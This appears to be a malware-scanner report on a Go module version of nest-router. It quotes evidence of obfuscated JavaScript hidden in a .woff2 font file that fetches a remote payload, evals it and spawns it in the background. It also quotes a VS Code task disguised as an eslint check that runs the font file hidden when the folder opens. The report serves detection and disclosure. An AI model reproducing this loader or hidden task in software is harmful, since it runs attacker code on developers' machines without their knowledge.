Hostile 92% go Download

github.com/shekohex/nest-router v0.0.0-20230211145859-1776b2e5562b

Malicious font file executes code

Folder-open task runs disguised mediaFetched payload decoded, evaled, and background-spawned

Evidence

Module aliased to global via bracket notation fa-solid-500.woff2 · line 1
1:5797… QojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ( …
Fetched payload decoded, evaled, and background-spawned fa-solid-500.woff2 · line 1
1:20591… ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1 …
Catch block precedes await or require call fa-solid-500.woff2 · line 1
1:25728… VzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18 …
Interpreter runs a font-named file tasks.json · lines 9–33
9:26… ions": "openOnSessionStart"
10 }
11 ],
12 "tasks": [
13 {
14 "label": "eslint-check",
15 "type": "shell",
16 "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''",
17 "problemMatcher": [],
18 "isBackground": true,
19 "hide": true,
20 "presentation": {
21 "reveal": "never",
22 "panel": "dedicated",
23 "focus": false,
24 "clear": false,
25 "echo": false,
26 "close": true
27 },
28 "runOptions": {
29 "runOn": "folderOpen"
30 }
31 },
32 ]
33}
VS Code task activates when folder opens settings.json · lines 9–23
9:24… ode_modules/typescript/lib",
10 "debug.openDebug": "neverOpen",
11 "problems.autoReveal": true,
12 "terminal.integrated.hideOnStartup": "always",
13 "terminal.integrated.defaultProfile.windows": "Command Prompt",
14 "terminal.integrated.inheritEnv": false,
15 "jestrunner.configPath": "jest.unit.config.cjs",
16 "compile-hero.disable-compile-files-on-did-save-code": true,
17 "tasks": {
18 "label": "lint on open",
19 "type": "shell",
20 "command": "npm run lint",
21 "runOn": "folderOpen"
22 }
23}

Showing the top 5 files — 5 more files (18 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.